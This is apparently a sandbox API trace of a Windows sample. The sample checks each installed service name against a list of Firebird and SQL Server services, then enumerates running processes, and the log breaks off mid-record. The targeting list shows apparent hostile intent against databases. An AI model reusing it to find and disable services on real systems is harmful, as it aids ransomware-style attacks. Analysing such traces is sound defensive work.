(lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0179.503] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0179.503] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0179.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0179.503] lstrlenW (lpString="EventSystem") returned 11 [0179.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0179.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0179.503] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0179.503] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0179.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0179.503] lstrlenW (lpString="FontCache") returned 9 [0179.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0179.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0179.503] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0179.503] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0179.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0179.503] lstrlenW (lpString="gpsvc") returned 5 [0179.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0179.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0179.503] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0179.503] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0179.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0179.503] lstrlenW (lpString="iphlpsvc") returned 8 [0179.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0179.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0179.504] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0179.504] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0179.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0179.504] lstrlenW (lpString="KeyIso") returned 6 [0179.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0179.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0179.504] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0179.504] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0179.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0179.504] lstrlenW (lpString="LanmanServer") returned 12 [0179.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0179.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0179.504] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0179.504] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0179.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0179.504] lstrlenW (lpString="LanmanWorkstation") returned 17 [0179.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0179.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0179.504] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0179.504] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0179.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0179.504] lstrlenW (lpString="lfsvc") returned 5 [0179.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0179.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0179.504] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0179.504] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0179.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0179.504] lstrlenW (lpString="lmhosts") returned 7 [0179.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0179.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0179.504] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0179.505] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0179.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0179.505] lstrlenW (lpString="LSM") returned 3 [0179.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0179.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0179.505] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0179.505] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0179.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0179.505] lstrlenW (lpString="MpsSvc") returned 6 [0179.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0179.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0179.505] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0179.505] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0179.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0179.505] lstrlenW (lpString="NcbService") returned 10 [0179.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0179.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0179.505] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0179.505] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0179.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0179.505] lstrlenW (lpString="netprofm") returned 8 [0179.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0179.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0179.505] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0179.505] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0179.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0179.505] lstrlenW (lpString="NgcSvc") returned 6 [0179.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0179.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0179.505] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0179.505] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0179.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0179.505] lstrlenW (lpString="NlaSvc") returned 6 [0179.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0179.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0179.506] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0179.506] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0179.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0179.506] lstrlenW (lpString="nsi") returned 3 [0179.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0179.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0179.506] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0179.506] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0179.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0179.506] lstrlenW (lpString="PcaSvc") returned 6 [0179.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0179.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0179.506] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0179.506] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0179.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0179.506] lstrlenW (lpString="PlugPlay") returned 8 [0179.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0179.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0179.506] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0179.506] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0179.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0179.506] lstrlenW (lpString="Power") returned 5 [0179.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0179.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0179.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0179.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0179.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0179.506] lstrlenW (lpString="ProfSvc") returned 7 [0179.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0179.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0179.506] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0179.506] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0179.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0179.507] lstrlenW (lpString="RpcEptMapper") returned 12 [0179.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0179.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0179.507] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0179.507] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0179.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0179.507] lstrlenW (lpString="RpcSs") returned 5 [0179.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0179.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0179.507] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0179.507] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0179.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0179.507] lstrlenW (lpString="SamSs") returned 5 [0179.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0179.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0179.507] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0179.507] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0179.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0179.507] lstrlenW (lpString="Schedule") returned 8 [0179.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0179.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0179.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0179.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0179.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0179.507] lstrlenW (lpString="SecurityHealthService") returned 21 [0179.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0179.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0179.507] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0179.507] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0179.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0179.507] lstrlenW (lpString="SENS") returned 4 [0179.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0179.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0179.507] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0179.508] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0179.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0179.508] lstrlenW (lpString="ShellHWDetection") returned 16 [0179.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0179.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0179.508] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0179.508] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0179.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0179.508] lstrlenW (lpString="Spooler") returned 7 [0179.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0179.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0179.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0179.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0179.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0179.508] lstrlenW (lpString="StateRepository") returned 15 [0179.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0179.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0179.508] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0179.508] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0179.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0179.508] lstrlenW (lpString="SysMain") returned 7 [0179.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0179.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0179.508] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0179.508] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0179.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0179.508] lstrlenW (lpString="SystemEventsBroker") returned 18 [0179.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0179.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0179.508] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0179.508] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0179.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0179.508] lstrlenW (lpString="Themes") returned 6 [0179.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0179.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0179.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0179.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0179.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0179.509] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0179.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0179.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0179.509] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0179.509] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0179.509] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0179.509] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3fc [0179.515] Process32FirstW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.699] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0179.700] lstrlenW (lpString="System") returned 6 [0179.700] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0179.700] lstrlenW (lpString="smss.exe") returned 8 [0179.700] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.701] lstrlenW (lpString="csrss.exe") returned 9 [0179.701] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0179.701] lstrlenW (lpString="wininit.exe") returned 11 [0179.701] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.702] lstrlenW (lpString="csrss.exe") returned 9 [0179.702] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0179.702] lstrlenW (lpString="winlogon.exe") returned 12 [0179.702] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0179.703] lstrlenW (lpString="services.exe") returned 12 [0179.703] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0179.703] lstrlenW (lpString="lsass.exe") returned 9 [0179.703] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0179.704] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0179.704] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0179.704] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0179.704] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.704] lstrlenW (lpString="svchost.exe") returned 11 [0179.704] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.705] lstrlenW (lpString="svchost.exe") returned 11 [0179.705] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0179.705] lstrlenW (lpString="dwm.exe") returned 7 [0179.705] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.706] lstrlenW (lpString="svchost.exe") returned 11 [0179.706] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.706] lstrlenW (lpString="svchost.exe") returned 11 [0179.706] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.706] lstrlenW (lpString="svchost.exe") returned 11 [0179.707] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.707] lstrlenW (lpString="svchost.exe") returned 11 [0179.707] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.707] lstrlenW (lpString="svchost.exe") returned 11 [0179.707] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.708] lstrlenW (lpString="svchost.exe") returned 11 [0179.708] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.708] lstrlenW (lpString="svchost.exe") returned 11 [0179.708] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.709] lstrlenW (lpString="svchost.exe") returned 11 [0179.709] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.709] lstrlenW (lpString="svchost.exe") returned 11 [0179.709] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.709] lstrlenW (lpString="svchost.exe") returned 11 [0179.709] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0179.710] lstrlenW (lpString="spoolsv.exe") returned 11 [0179.710] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.710] lstrlenW (lpString="svchost.exe") returned 11 [0179.710] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0179.711] lstrlenW (lpString="audiodg.exe") returned 11 [0179.711] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0179.711] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0179.711] Process32NextW (in: hSnapshot=0x3fc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 